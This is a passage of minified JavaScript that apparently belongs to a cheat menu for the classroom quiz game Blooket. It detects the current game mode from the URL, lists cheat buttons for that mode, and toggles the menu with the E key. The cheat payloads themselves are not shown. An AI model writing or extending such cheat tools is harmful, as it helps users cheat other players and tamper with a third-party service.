m.style.backgroundColor = "toggle" == p.type ? p.enabled ? "#47A547" : "#A02626" : "hsl(0, 0%, 20%)", m.onclick = () => {
try {
p.run()
} finally {
m.style.backgroundColor = "toggle" == p.type ? p.enabled ? "#47A547" : "#A02626" : "hsl(0, 0%, 20%)"
}
}, u.appendChild(m)
}
u.open = !1, u.style.paddingBottom = "10px", t.appendChild(u);
let h = document.createElement("div");
t.appendChild(h), console.log(d);
let y = e => {
if (e && d[e])
for (let t of d[e]) {
let o = v(t.name);
o.style.backgroundColor = "toggle" == t.type ? t.enabled ? "#47A547" : "#A02626" : "hsl(0, 0%, 20%)", o.onclick = () => {
try {
t.run()
} finally {
o.style.backgroundColor = "toggle" == t.type ? t.enabled ? "#47A547" : "#A02626" : "hsl(0, 0%, 20%)"
}
}, h.appendChild(o), h.appendChild(document.createElement("br"))
}
};
setTimeout(() => y(_()), 50);
var $ = function(e) {
let t = window.location.pathname,
o = setInterval(() => {
window.location.pathname != t && e(t = window.location.pathname)
}, 50);
return () => clearInterval(o)
}(e => {
var t = _();
curPageEl.innerText = _(!0) ? "Current gamemode: " + _(!0) : "No game detected", h.innerHTML = "", y(t)
});
function v(e) {
var t = document.createElement("button");
return t.classList.add("cheat"), t.innerText = e, t
}
function _(e) {
switch (window.location.pathname) {
case "/play/racing":
return e ? "Racing" : "racing";
case "/play/pirate":
return e ? "Pirate's Voyage" : "voyage";
case "/play/factory":
return e ? "Factory" : "factory";
case "/play/classic/get-ready":
case "/play/classic/question":
case "/play/classic/answer/sent":
case "/play/classic/answer/result":
case "/play/classic/standings":
return e ? "Classic" : "classic";
case "/play/battle-royale/match/preview":
case "/play/battle-royale/question":
case "/play/battle-royale/answer/sent":
case "/play/battle-royale/answer/result":
case "/play/battle-royale/match/result":
return e ? "Battle Royale" : "royale";
case "/play/toy":
return e ? "Santa's Workshop" : "workshop";
case "/play/gold":
return e ? "Gold Quest" : "gold";
case "/play/brawl":
return e ? "Monster Brawl" : "brawl";
case "/play/hack":
return e ? "Crypto Hack" : "hack";
case "/play/fishing":
return e ? "Fishing Frenzy" : "fishing";
case "/play/rush":
return e ? "Blook Rush" : "rush";
case "/play/dino":
return e ? "Deceptive Dinos" : "dinos";
case "/tower/map":
case "/tower/battle":
case "/tower/rest":
case "/tower/risk":
case "/tower/shop":
case "/tower/victory":
return e ? "Tower of Doom" : "doom";
case "/cafe":
case "/cafe/shop":
return e ? "Cafe" : "cafe";
case "/defense":
return e ? "Tower Defense" : "defense";
case "/play/defense2":
return e ? "Tower Defense 2" : "defense2";
case "/kingdom":
return e ? "Crazy Kingdom" : "kingdom";
case "/play/lobby":
return e ? "Lobby" : "flappy";
default:
return !1
}
}
function f(e) {
"KeyE" == e.code && (a.hidden = !a.hidden)
}
addEventListener("keypress", f)
}
})();